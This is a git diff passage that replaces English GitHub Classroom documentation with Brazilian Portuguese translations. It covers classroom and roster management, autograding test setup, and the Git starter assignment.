+Convide TAs e administradores para a sua sala de aula, convidando as contas de usuário em {% data variables.product.product_name %} para a sua organização como proprietários e compartilhando a URL da sua sala de aula. Os proprietários da organização podem administrar qualquer sala de aula da organização. Para obter mais informações, consulte "[Funções em uma organização](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)" e "[Convidando usuários para participar da sua organização](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)".
 
-When you're done using a classroom, you can archive the classroom and refer to the classroom, roster, and assignments later, or you can delete the classroom if you no longer need the classroom.
+Ao terminar de usar uma sala de aula, você pode arquivar a sala de aula e consultar a sala de aula, lista, e recomendações posteriormente, ou você pode excluir a sala de aula se não precisar mais dela.
 
-## About classroom rosters
+## Sobre as listas de salas de aula
 
-Each classroom has a roster. A roster is a list of identifiers for the students who participate in your course.
+Cada sala de aula tem uma lista. Uma lista é uma lista de identificadores para os alunos que participam do seu curso.
 
-When you first share the URL for an assignment with a student, the student must sign into {% data variables.product.product_name %} with a user account to link the user account to an identifier for the classroom. After the student links a user account, you can see the associated user account in the roster. You can also see when the student accepts or submits an assignment.
+A primeira vez que você compartilha a URL de uma atividade com um estudante, o aluno precisa efetuar o login em {% data variables.product.product_name %} com uma conta de usuário para vincular a conta do usuário a um identificador da sala de aula. Depois que o aluno vincular uma conta de usuário, você poderá ver a conta de usuário associada na lista. Você também pode ver quando o aluno aceita ou envia uma atividade.
 
-![Classroom roster](/assets/images/help/classroom/roster-hero.png)
+![Lista de salas de aula](/assets/images/help/classroom/roster-hero.png)
 
-## Prerequisites
+## Pré-requisitos
 
-You must have an organization account on {% data variables.product.product_name %} to manage classrooms on {% data variables.product.prodname_classroom %}. For more information, see "[Types of {% data variables.product.company_short %} accounts](/github/getting-started-with-github/types-of-github-accounts#organization-accounts)" and "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)."
+Você precisa ter uma conta de organização em {% data variables.product.product_name %} para gerenciar as salas de aula em {% data variables.product.prodname_classroom %}. Para obter mais informações, consulte "[Tipos de contas de {% data variables.product.company_short %}](/github/getting-started-with-github/types-of-github-accounts#organization-accounts)" e "[Criar uma nova organização do zero](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)".
 
-You must authorize the OAuth app for {% data variables.product.prodname_classroom %} for your organization to manage classrooms for your organization account. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)."
+Você deve autorizar o aplicativo OAuth {% data variables.product.prodname_classroom %} para sua organização gerenciar salas de aula para sua conta da organização. Para obter mais informações, consulte "[Autorizar aplicativos OAuth](/github/authenticating-to-github/authorizing-oauth-apps)".
 
-## Creating a classroom
+## Criar uma sala de aula
 
 {% data reusables.classroom.sign-into-github-classroom %}
-1. Click **New classroom**.
-  !["New classroom" button](/assets/images/help/classroom/click-new-classroom-button.png)
+1. Clique em **Nova sala de aula**. ![Botão "Nova sala de aula"](/assets/images/help/classroom/click-new-classroom-button.png)
 {% data reusables.classroom.guide-create-new-classroom %}
 
-After you create a classroom, you can begin creating assignments for students. For more information, see "[Use the Git and {% data variables.product.company_short %} starter assignment](/education/manage-coursework-with-github-classroom/use-the-git-and-github-starter-assignment)," "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)," or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)."
+Depois de criar uma sala de aula, você pode começar a criar atividades para os alunos. Para obter mais informações, consulte "[Use a atividade inicial do Git e {% data variables.product.company_short %}](/education/manage-coursework-with-github-classroom/use-the-git-and-github-starter-assignment), "[Crie uma tarefa individual](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" ou "[Crie uma atividade em grupo](/education/manage-coursework-with-github-classroom/create-a-group-assignment)."
 
-## Creating a roster for your classroom
+## Criando uma lista para sua sala de aula
 
-You can create a roster of the students who participate in your course.
+Você pode criar uma lista de alunos que participam do seu curso.
 
-If your course already has a roster, you can update the students on the roster or delete the roster. For more information, see "[Adding a student to the roster for your classroom](#adding-students-to-the-roster-for-your-classroom)" or "[Deleting a roster for a classroom](#deleting-a-roster-for-a-classroom)."
+Se o seu curso já tem uma lista, você pode atualizar os alunos na lista ou excluir a lista. Para mais informações consulte "[Adicionar um aluno à lista de participantes para sua sala de aula](#adding-students-to-the-roster-for-your-classroom)" ou "[Excluir uma lista para uma sala de aula](#deleting-a-roster-for-a-classroom)."
 
 {% data reusables.classroom.sign-into-github-classroom %}
 {% data reusables.classroom.click-classroom-in-list %}
 {% data reusables.classroom.click-students %}
-1. To connect {% data variables.product.prodname_classroom %} to your LMS and import a roster, click {% octicon "mortar-board" aria-label="The mortar board icon" %} **Import from a learning management system** and follow the instructions. For more information, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)."
-    !["Import from a learning management system" button](/assets/images/help/classroom/click-import-from-a-learning-management-system-button.png)
-1. Provide the student identifiers for your roster.
-     - To import a roster by uploading a file containing student identifiers, click **Upload a CSV or text file**.
-     - To create a roster manually, type your student identifiers.
-       ![Text field for typing student identifiers and "Upload a CSV or text file" button](/assets/images/help/classroom/type-or-upload-student-identifiers.png)
-1. Click **Create roster**.
-  !["Create roster" button](/assets/images/help/classroom/click-create-roster-button.png)
+1. Para conectar {% data variables.product.prodname_classroom %} ao seu LMS e importar uma lista, clique em {% octicon "mortar-board" aria-label="The mortar board icon" %} **Importar de um sistema de gerenciamento de aprendizagem** e siga as instruções. Para obter mais informações, consulte "[Conectar um sistema de gerenciamento de aprendizagem a {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)". ![Botão "Importar de um sistema de gerenciamento de aprendizagem"](/assets/images/help/classroom/click-import-from-a-learning-management-system-button.png)
+1. Forneça os identificadores dos alunos para a sua lista.
+     - Para importar uma lista de participantes fazendo o upload de um arquivo que contém identificadores de alunos, clique no **upload de um arquivo CSV ou texto**.
+     - Para criar uma lista manualmente, digite os identificadores do aluno. ![Campo de texto para digitar identificadores de aluno e botão "Fazer upload de um arquivo CSV ou texto"](/assets/images/help/classroom/type-or-upload-student-identifiers.png)
+1. Clique **Criar lista**. ![Botão "Criar lista"](/assets/images/help/classroom/click-create-roster-button.png)
 
-## Adding students to the roster for your classroom
+## Adicionar alunos à lista de participantes para sua sala de aula
 
-Your classroom must have an existing roster to add students to the roster. For more information about creating a roster, see "[Creating a roster for your classroom](#creating-a-roster-for-your-classroom)."
+A sua sala de aula precisa ter uma lista existente para adicionar alunos à lista. Para obter mais informações sobre como criar uma lista, consulte "[Criar uma lista de participantes para sua sala de aula](#creating-a-roster-for-your-classroom)."
 
 {% data reusables.classroom.sign-into-github-classroom %}
 {% data reusables.classroom.click-classroom-in-list %}
 {% data reusables.classroom.click-students %}
-1. To the right of "Classroom roster", click **Update students**.
-  !["Update students" button to the right of "Classroom roster" heading above list of students](/assets/images/help/classroom/click-update-students-button.png)
-1. Follow the instructions to add students to the roster.
-    - To import students from an LMS, click **Sync from a learning management system**. For more information about importing a roster from an LMS, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)."
-    - To manually add students, under "Manually add students", click **Upload a CSV or text file** or type the identifiers for the students, then click **Add roster entries**.
-      ![Modal for choosing method of adding students to classroom](/assets/images/help/classroom/classroom-add-students-to-your-roster.png)
+1. À direita do "Lista de sala de aula", clique em **Atualizar alunos**. ![Botão "Atualizar os alunos" à direita de "lista de salas de aula" destacando-se acima da lista de alunos](/assets/images/help/classroom/click-update-students-button.png)
+1. Siga as instruções para adicionar alunos à lista.
+    - Para importar os alunos de um LMS, clique em **Sincronizar a partir de um sistema de gerenciamento de aprendizagem**. Para obter mais informações sobre a importação de uma lista de participantes de um LMS, consulte "[Conectar um sistema de gerenciamento de aprendizagem a {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)".
+    - Para adicionar alunos manualmente, em "Adicionar alunos manualmente", clique em **Enviar um arquivo CSV ou de texto** ou digite os identificadores para os alunos e, em seguida, clique em **Adicionar entradas da lista**. ![Modal para escolher o método de adicionar os alunos à sala de aula](/assets/images/help/classroom/classroom-add-students-to-your-roster.png)
 
-## Renaming a classroom
+## Renomear uma sala de aula
 
 {% data reusables.classroom.sign-into-github-classroom %}
 {% data reusables.classroom.click-classroom-in-list %}
 {% data reusables.classroom.click-settings %}
-1. Under "Classroom name", type a new name for the classroom.
-  ![Text field under "Classroom name" for typing classroom name](/assets/images/help/classroom/settings-type-classroom-name.png)
-1. Click **Rename classroom**.
-  !["Rename classroom" button](/assets/images/help/classroom/settings-click-rename-classroom-button.png)
+1. Em "Nome da sala de aula", digite um novo nome para a sala de aula. ![Campo de texto em "Nome da sala de aula" para digitar o nome da sala de aula](/assets/images/help/classroom/settings-type-classroom-name.png)
+1. Clique em **Renomear sala de aula**. ![Botão "Renomear sala de aula"](/assets/images/help/classroom/settings-click-rename-classroom-button.png)
 
-## Archiving or unarchiving a classroom
+## Arquivar ou desarquivar uma sala de aula
 
-You can archive a classroom that you no longer use on {% data variables.product.prodname_classroom %}. When you archive a classroom, you can't create new assignments or edit existing assignments for the classroom. Students can't accept invitations to assignments in archived classrooms.
+Você pode arquivar uma sala de aula que você não usa mais em {% data variables.product.prodname_classroom %}. Ao arquivar uma sala de aula, não é possível criar novas atividades ou editar as atividades existentes para a sala de aula. Os alunos não podem aceitar convites para atividades em salas de aula arquivadas.
 
 {% data reusables.classroom.sign-into-github-classroom %}
-1. To the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Archive**.
-  ![Drop-down menu from horizontal kebab icon and "Archive" menu item](/assets/images/help/classroom/use-drop-down-then-click-archive.png)
-1. To unarchive a classroom, to the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Unarchive**.
-  ![Drop-down menu from horizontal kebab icon and "Unarchive" menu item](/assets/images/help/classroom/use-drop-down-then-click-unarchive.png)
+1. À direita do nome da sala de aula, selecione o menu suspenso {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} e, em seguida, clique em **Arquivar**. ![Menu suspenso do ícone do kebab horizontal e item do menu "Arquivo"](/assets/images/help/classroom/use-drop-down-then-click-archive.png)
+1. Para desarquivar uma sala de aula, à direita do nome de uma sala de aula, selecione o menu suspenso {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} e, em seguida, clique em **Desarquivar**. ![Menu suspenso do ícone do kebab horizontal e item do menu "Desarquivar"](/assets/images/help/classroom/use-drop-down-then-click-unarchive.png)
 
-## Deleting a roster for a classroom
+## Excluir uma lista de participantes para uma sala de aula
 
 {% data reusables.classroom.sign-into-github-classroom %}
 {% data reusables.classroom.click-classroom-in-list %}
 {% data reusables.classroom.click-students %}
-1. Under "Delete this roster", click **Delete roster**.
-  !["Delete roster" button under "Delete this roster" in "Students" tab for a classroom](/assets/images/help/classroom/students-click-delete-roster-button.png)
-1. Read the warnings, then click **Delete roster**.
-  !["Delete roster" button under "Delete this roster" in "Students" tab for a classroom](/assets/images/help/classroom/students-click-delete-roster-button-in-modal.png)
+1. Em "Excluir esta lista", clique em **Excluir lista**. ![Botão "Excluir lista" em "Excluir esta lista" na aba "Alunos" para uma sala de aula](/assets/images/help/classroom/students-click-delete-roster-button.png)
+1. Leia os avisos e, em seguida, clique em **Excluir lista**. ![Botão "Excluir lista" em "Excluir esta lista" na aba "Alunos" para uma sala de aula](/assets/images/help/classroom/students-click-delete-roster-button-in-modal.png)
 
-## Deleting a classroom
+## Excluir uma sala de aula
 
 {% data reusables.classroom.sign-into-github-classroom %}
 {% data reusables.classroom.click-classroom-in-list %}
 {% data reusables.classroom.click-settings %}
-1. To the right of "Delete this classroom", click **Delete classroom**.
-  !["Delete repository" button](/assets/images/help/classroom/click-delete-classroom-button.png)
-1. **Read the warnings**.
-1. To verify that you're deleting the correct classroom, type the name of the classroom you want to delete.
-  ![Modal for deleting a classroom with warnings and text field for classroom name](/assets/images/help/classroom/delete-classroom-modal-with-warning.png)
-1. Click **Delete classroom**.
-  !["Delete classroom" button](/assets/images/help/classroom/delete-classroom-click-delete-classroom-button.png)
+1. À direita de "Excluir essa sala de aula", clique em **Excluir sala de aula**. ![Botão "Excluir repositório"](/assets/images/help/classroom/click-delete-classroom-button.png)
+1. **Leia os avisos**.
+1. Para verificar se você está excluindo a sala de aula correta, digite o nome da sala de aula que você deseja excluir. ![Modal para excluir uma sala de aula com avisos e campo de texto para o nome da sala de aula](/assets/images/help/classroom/delete-classroom-modal-with-warning.png)
+1. Clique em **Excluir sala de aula**. ![Botão "Excluir sala de aula"](/assets/images/help/classroom/delete-classroom-click-delete-classroom-button.png)
diff --git a/translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding.md b/translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding.md
index 31eee9a49a..74fc065898 100644
--- a/translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding.md
+++ b/translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding.md
@@ -1,101 +1,92 @@
 ---
-title: Use autograding
-intro: You can automatically provide feedback on code submissions from your students by configuring tests to run in the assignment repository.
+title: Usar avaliação automática
+intro: É possível fornecer feedback automaticamente sobre envios de código de seus alunos configurando testes para serem executados no repositório de atividade.
 miniTocMaxHeadingLevel: 3
 versions:
   fpt: '*'
-permissions: Organization owners who are admins for a classroom can set up and use autograding on assignments in a classroom. {% data reusables.classroom.classroom-admins-link %}
+permissions: 'Organization owners who are admins for a classroom can set up and use autograding on assignments in a classroom. {% data reusables.classroom.classroom-admins-link %}'
 redirect_from:
   - /education/manage-coursework-with-github-classroom/adding-tests-for-auto-grading
   - /education/manage-coursework-with-github-classroom/reviewing-auto-graded-work-teachers
   - /education/manage-coursework-with-github-classroom/use-autograding
 ---
-## About autograding
+
+## Sobre a avaliação automática
 
 {% data reusables.classroom.about-autograding %}
 
-After a student accepts an assignment, on every push to the assignment repository, {% data variables.product.prodname_actions %} runs the commands for your autograding test in a Linux environment containing the student's newest code. {% data variables.product.prodname_classroom %} creates the necessary workflows for {% data variables.product.prodname_actions %}. You don't need experience with {% data variables.product.prodname_actions %} to use autograding.
+Depois que um aluno aceita uma atividade, em cada push para o repositório de atividades, {% data variables.product.prodname_actions %} executa os comandos do seu teste de avaliação automática em um ambiente Linux que contém o código mais novo do aluno. {% data variables.product.prodname_classroom %} cria os fluxos de trabalho necessários para {% data variables.product.prodname_actions %}. Você não precisa ter experiência com {% data variables.product.prodname_actions %} para usar a avaliação automática.
 
-You can use a testing framework, run a custom command, write input/output tests, or combine different testing methods. The Linux environment for autograding contains many popular software tools. For more information, see the details for the latest version of Ubuntu in "[Specifications for  {% data variables.product.company_short %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners#supported-software)."
+Pode usar uma estrutura de teste, executar um comando personalizado, escrever testes de entrada/saída ou combinar diferentes métodos de teste. O ambiente Linux para avaliação automática contém muitas ferramentas de software populares. Para obter mais informações, consulte as informações sobre a versão mais recente do Ubuntu em "[Especificações para executores hospedados em {% data variables.product.company_short %}](/actions/reference/specifications-for-github-hosted-runners#supported-software)".
 
-You can see an overview of which students are passing autograding tests by navigating to the assignment in {% data variables.product.prodname_classroom %}. A green checkmark means that all tests are passing for the student, and a red X means that some or all tests are failing for the student. If you award points for one or more tests, then a bubble shows the score for the tests out of the maximum possible score for the assignment.
+Você pode ter uma visão geral dos alunos que estão passando testes de avaliação automática acessando a atividade em {% data variables.product.prodname_classroom %}. Uma marca de verificação verde significa que todos os testes estão passando para o aluno, e um X vermelho significa que alguns ou todos os testes estão falhando para o aluno. Se você ganhou pontos para um ou mais testes, uma bolha irá mostrar a pontuação para os testes da pontuação máxima possível para a atividade.
 
-![Overview for an assignment with autograding results](/assets/images/help/classroom/autograding-hero.png)
+![Visão geral de uma atividade com resultados de avaliação automática](/assets/images/help/classroom/assignment-individual-hero.png)
 
-## Grading methods
+## Métodos de avaliação
 
-There are two grading methods: input/output tests and run command tests.
+Há dois métodos de avaliação: testes de entrada/saída e testes de comando de execução.
 
-### Input/output test
+### Teste de entrada/saída
 
-An input/output test optionally runs a setup command, then provides standard input to a test command. {% data variables.product.prodname_classroom %} evaluates the test command's output against an expected result.
+Um teste de entrada/saída opcionalmente executa um comando de configuração e, em seguida, fornece a entrada padrão para um comando de teste. {% data variables.product.prodname_classroom %} avalia a saída do comando de teste para um resultado esperado.
 
-| Setting | Description |
-| :- | :- |
-| **Test name** | The name of the test, to identify the test in logs |
-| **Setup command** | _Optional_. A command to run before tests, such as compilation or installation |
-| **Run command** | The command to run the test and generate standard output for evaluation |
-| **Inputs** | Standard input for run command |
-| **Expected output** | The output that you want to see as standard output from the run command |
-| **Comparison** | The type of comparison between the run command's output and the expected output<br/><br/><ul><li>**Included**: Passes when the expected output appears<br/>anywhere in the standard output from the run command</li><li>**Exact**: Passes when the expected output is completely identical<br/>to the standard output from the run command</li><li>**Regex**: Passes if the regular expression in expected<br/>output matches against the standard output from the run command</li></ul> |
-| **Timeout** | In minutes, how long a test should run before resulting in failure |
-| **Points** | _Optional_. The number of points the test is worth toward a total score |
+| Configuração                | Descrição                                                                                                                   |
+|:--------------------------- |:--------------------------------------------------------------------------------------------------------------------------- |
+| **Nome de teste**           | O nome do teste, para identificar o teste em registros                                                                      |
+| **Comando de configuração** | _Opcional_. Um comando a ser executado antes dos testes, como compilação ou instalação                                      |
+| **Executar comando**        | O comando para executar o teste e gerar saída padrão para avaliação                                                         |
+| **Entradas**                | Entrada padrão para o executar o comando                                                                                    |
+| **Saída esperada**          | A saída que você quer ver como saída padrão do comando de execução                                                          |
+| **Comparação**              | O tipo de comparação entre a saída do comando de execução e a saída esperada<br/><br/><ul><li>**Incluído**: Passa quando a saída esperada aparece<br/>em qualquer lugar na saída padrão do comando de execução</li><li>**Exato**: Passa quando a saída esperada é completamente idêntica<br/>à saída padrão do comando de execução</li><li>**Regex**: Passa se a expressão regular na saída esperada<br/>corresponde à saída padrão do comando de execução</li></ul> |
+| **Tempo esgotado**          | Quanto tempo um teste deve ser executado em minutos antes de resultar em falha                                              |
+| **Pontos**                  | _Opcional_. O número de pontos que o teste vale para uma pontuação total                                                    |
 
-### Run command test
+### Executar teste de comando
 
-A run command test runs a setup command, then runs a test command. {% data variables.product.prodname_classroom %} checks the exit status of the test command. An exit code of `0` results in success, and any other exit code results in failure.
+Um comando de execução executa um comando de configuração e, em seguida, executa um comando de teste. {% data variables.product.prodname_classroom %} verifica o status de saída do comando de teste. Um código de saída de `0` resulta em sucesso e qualquer outro código de saída resulta em falha.
 
-{% data variables.product.prodname_classroom %} provides presets for language-specific run command tests for a variety of programming languages. For example, the **Run node** test prefills the setup command with `npm install` and the test command with `npm test`.
+{% data variables.product.prodname_classroom %} fornece predefinições para testes de comando de execução específicos da linguagem para uma variedade de linguagens de programação. Por exemplo, o teste **Executar nó** preenche previamente o comando de configuração com `instalação de npm` e o comando de teste com `teste de npm`.
 
-| Setting | Description |
-| :- | :- |
-| **Test name** | The name of the test, to identify the test in logs |
-| **Setup command** | _Optional_. A command to run before tests, such as compilation or installation |
-| **Run command** | The command to run the test and generate an exit code for evaluation |
-| **Timeout** | In minutes, how long a test should run before resulting in failure |
-| **Points** | _Optional_. The number of points the test is worth toward a total score |
+| Configuração                | Descrição                                                                              |
+|:--------------------------- |:-------------------------------------------------------------------------------------- |
+| **Nome de teste**           | O nome do teste, para identificar o teste em registros                                 |
+| **Comando de configuração** | _Opcional_. Um comando a ser executado antes dos testes, como compilação ou instalação |
+| **Executar comando**        | O comando para executar o teste e gerar um código de saída para avaliação              |
+| **Tempo esgotado**          | Quanto tempo um teste deve ser executado em minutos antes de resultar em falha         |
+| **Pontos**                  | _Opcional_. O número de pontos que o teste vale para uma pontuação total               |
 
-## Configuring autograding tests for an assignment
+## Configurar testes de avaliação automática para uma atribuição
 
-You can add autograding tests during the creation of a new assignment. {% data reusables.classroom.for-more-information-about-assignment-creation %}
+Você pode adicionar testes de avaliação automática durante a criação de uma nova atividade. {% data reusables.classroom.for-more-information-about-assignment-creation %}
 
-You can add, edit, or delete autograding tests for an existing assignment. If you change the autograding tests for an existing assignment, existing assignment repositories will not be affected. A student or team must accept the assignment and create a new assignment repository to use the new tests.
+Você pode adicionar, editar ou excluir testes de avaliação automática para uma atividade existente. Se você alterar os testes de avaliação automática para uma atribuição existente, os repositórios de atividade existentes não serão afetados. Um aluno ou equipe deve aceitar a atividade e criar um novo repositório de atividade para usar os novos testes.
 
 {% data reusables.classroom.sign-into-github-classroom %}
 {% data reusables.classroom.click-classroom-in-list %}
 {% data reusables.classroom.assignments-click-pencil %}
-1. In the left sidebar, click **Grading and feedback**.
-  !["Grading and feedback" to the left of assignment's basics](/assets/images/help/classroom/assignments-click-grading-and-feedback.png)
-1. Add, edit, or delete an autograding test.
-    - To add a test, under "Add autograding tests", select the **Add test** drop-down menu, then click the grading method you want to use.
-       ![Using the "Add test" drop-down menu to click a grading method](/assets/images/help/classroom/autograding-click-grading-method.png)
-       Configure the test, then click **Save test case**.
-       !["Save test case" button for an autograding test](/assets/images/help/classroom/assignments-click-save-test-case-button.png)
-    - To edit a test, to the right of the test name, click {% octicon "pencil" aria-label="The pencil icon" %}.
-        ![Pencil icon for editing an autograding test](/assets/images/help/classroom/autograding-click-pencil.png)
-       Configure the test, then click **Save test case**.
-       !["Save test case" button for an autograding test](/assets/images/help/classroom/assignments-click-save-test-case-button.png)
-    - To delete a test, to the right of the test name, click {% octicon "trash" aria-label="The trash icon" %}.
-        ![Trash icon for deleting an autograding test](/assets/images/help/classroom/autograding-click-trash.png)
-1. At the bottom of the page, click **Update assignment**.
-  !["Update assignment" button at the bottom of the page](/assets/images/help/classroom/assignments-click-update-assignment.png)
+1. Na barra lateral esquerda, clique em **Avaliações e feedback**. !["Avaliações e feedback" à esquerda dos fundamentos da aitivdade](/assets/images/help/classroom/assignments-click-grading-and-feedback.png)
+1. Adicionar, editar ou excluir um teste de avaliação automática.
+    - Para adicionar um teste, em "Adicionar testes de avaliação automática", selecione o menu suspenso **Adicionar teste** e, em seguida, clique no método de avaliação que você deseja usar. ![Using the "Add test" drop-down menu to click a grading method](/assets/images/help/classroom/autograding-click-grading-method.png) Configure o teste e, em seguida, clique em **Salvar caso de teste**. ![Botão "Salvar caso de teste" para um teste de avaliação automática](/assets/images/help/classroom/assignments-click-save-test-case-button.png)
+    - Para editar um teste, à direita do nome do teste, clique em {% octicon "pencil" aria-label="The pencil icon" %}. ![Pencil icon for editing an autograding test](/assets/images/help/classroom/autograding-click-pencil.png) Configure o teste e, em seguida, clique em **Salvar caso de teste**. ![Botão "Salvar caso de teste" para um teste de avaliação automática](/assets/images/help/classroom/assignments-click-save-test-case-button.png)
+    - Para excluir um teste, à direita do nome do teste, clique em {% octicon "trash" aria-label="The trash icon" %}. ![Ícone da lixeira para excluir um teste de avaliação automática](/assets/images/help/classroom/autograding-click-trash.png)
+1. Na parte inferior da página, clique em **Atualizar atividade**. ![Botão "Atualizar a atividade" na parte inferior da página](/assets/images/help/classroom/assignments-click-update-assignment.png)
 
-## Viewing and downloading results from autograding tests
+## Visualizar e fazer o download de resultados de testes de autoavaliação
 
-### Download autograding results
+### Fazer o download dos resultados da auto-avaliação
 
-You can also download a CSV of your students' autograding scores via the "Download" button. This will generate and download a CSV containing a link to the student's repository, their {% data variables.product.prodname_dotcom %} handle, roster identifier, submission timestamp, and autograding score.
+Você também pode fazer o download do CSV da pontuação da autoavaliação dos seus alunos por meio do botão "Download". Isso irá gerar e fazer o download de um CSV que contém um link para o repositório do aluno, seu gerenciador de {% data variables.product.prodname_dotcom %}, identificador da lista de participantes, registro de hora de envio e pontuação de da autoavaliação.
 
-!["Download" button selected showing "Download grades highlighted" and an additional option to "Download repositories"](/assets/images/help/classroom/download-grades.png)
+![O botão "Download" selecionado que mostra "Fazer o download de notas destacadas" e uma opção adicional para "Fazer o download dos repositórios"](/assets/images/help/classroom/download-grades.png)
 
-### View individual logs
+### Ver registros individuais
 {% data reusables.classroom.sign-into-github-classroom %}
 {% data reusables.classroom.click-classroom-in-list %}
 {% data reusables.classroom.click-assignment-in-list %}
-1. To the right of a submission, click **View test**.
-  !["View test" button for an assignment submission](/assets/images/help/classroom/assignments-click-view-test.png)
-1. Review the test output. For more information, see "[Using workflow run logs](/actions/managing-workflow-runs/using-workflow-run-logs)."
+1. À direita de um envio, clique em **Visualizar teste**. ![Botão "Visualizar teste" para envio de uma atividade](/assets/images/help/classroom/assignments-click-view-test.png)
+1. Revise a saída de teste. Para obter mais informações, consulte "[Usar registros de execução do fluxo de trabalho](/actions/managing-workflow-runs/using-workflow-run-logs)".
 
-## Further reading
+## Leia mais
 
-- [{% data variables.product.prodname_actions %} documentation](/actions)
+- [Documentação de {% data variables.product.prodname_actions %}](/actions)
diff --git a/translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md b/translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md
index 4d3f0a3309..2b4122696d 100644
--- a/translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md
+++ b/translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md
@@ -1,104 +1,104 @@
 ---
-title: Use the Git and GitHub starter assignment
-intro: 'You can use the Git & {% data variables.product.company_short %} starter assignment to give students an overview of Git and {% data variables.product.company_short %} fundamentals.'
+title: Use a atividade do Git e GitHub starter
+intro: 'Você pode usar a atividade inicial do Git & {% data variables.product.company_short %} para dar aos alunos uma visão geral do Git e dos princípios básicos do {% data variables.product.company_short %}.'
 versions:
   fpt: '*'
-permissions: Organization owners who are admins for a classroom can use Git & {% data variables.product.company_short %} starter assignments. {% data reusables.classroom.classroom-admins-link %}
+permissions: 'Organization owners who are admins for a classroom can use Git & {% data variables.product.company_short %} starter assignments. {% data reusables.classroom.classroom-admins-link %}'
 redirect_from:
   - /education/manage-coursework-with-github-classroom/use-the-git-and-github-starter-assignment
-shortTitle: Starter assignment
+shortTitle: Atribuição inicial
 ---
 
-The Git & {% data variables.product.company_short %} starter assignment is a pre-made course that summarizes the basics of Git and {% data variables.product.company_short %} and links students to resources to learn more about specific topics.
+A atividade inicial do Git & {% data variables.product.company_short %} é um curso pré-fabricado que resume os conceitos básicos do Git e {% data variables.product.company_short %} e vincula os alunos a recursos para aprender mais sobre tópicos específicos.
 
-## Prerequisites
+## Pré-requisitos
 
 {% data reusables.classroom.assignments-classroom-prerequisite %}
 
-## Creating the starter assignment
+## Criando a atividade inicial
 
-### If there are no existing assignments in the classroom
+### Se não houver recomendações na sala de aula
 
-1. Sign into {% data variables.product.prodname_classroom_with_url %}.
-2. Navigate to a classroom.
-3. In the {% octicon "repo" aria-label="The repo icon" %} **Assignments** tab, click  **Use starter assignment**.
+1. Efetue o login em {% data variables.product.prodname_classroom_with_url %}.
+2. Acesse uma sala de aula.
+3. Na aba {% octicon "repo" aria-label="The repo icon" %} **Atividades**, clique em **Usar a atividade inicial**.
 
 <div class="procedural-image-wrapper">
-  <img alt="Creating your first assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-create-first-assignment.png">
+  <img alt="Criando sua primeira atividade" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-create-first-assignment.png">
 </div>
 
-### If there already are existing assignments in the classroom
+### Se já existirem recomendações na sala de aula
 
-1. Sign into {% data variables.product.prodname_classroom_with_url %}.
-2. Navigate to a classroom.
-3. In the {% octicon "repo" aria-label="The repo icon" %} **Assignments** tab, click the link on the blue banner.
+1. Efetue o login em {% data variables.product.prodname_classroom_with_url %}.
+2. Acesse uma sala de aula.
+3. Na aba {% octicon "repo" aria-label="The repo icon" %} **Atividades**, clique no link do banner azul.
 
 <div class="procedural-image-wrapper">
-  <img alt="The 'New assignment' button" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-click-new-starter-assignment-button.png">
+  <img alt="Botão &quot;Nova atividade&quot;" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-click-new-starter-assignment-button.png">
 </div>
 
-## Setting up the basics for an assignment
+## Configurar os fundamentos para uma atividade
 
-Import the starter course into your organization, name your assignment, decide whether to assign a deadline, and choose the visibility of assignment repositories.
+Importe o curso introdutório para a sua organização, nomeie sua atividade, decida se deseja atribuir um prazo e escolha a visibilidade dos repositórios de tarefas.
 
-- [Prerequisites](#prerequisites)
-- [Creating the starter assignment](#creating-the-starter-assignment)
-  - [If there are no existing assignments in the classroom](#if-there-are-no-existing-assignments-in-the-classroom)
-  - [If there already are existing assignments in the classroom](#if-there-already-are-existing-assignments-in-the-classroom)
-- [Setting up the basics for an assignment](#setting-up-the-basics-for-an-assignment)
-  - [Importing the assignment](#importing-the-assignment)
-  - [Naming the assignment](#naming-the-assignment)
-  - [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment)
-  - [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories)
-- [Inviting students to an assignment](#inviting-students-to-an-assignment)
-- [Next steps](#next-steps)
-- [Further reading](#further-reading)
+- [Pré-requisitos](#prerequisites)
+- [Criando a atividade inicial](#creating-the-starter-assignment)
+  - [Se não houver recomendações na sala de aula](#if-there-are-no-existing-assignments-in-the-classroom)
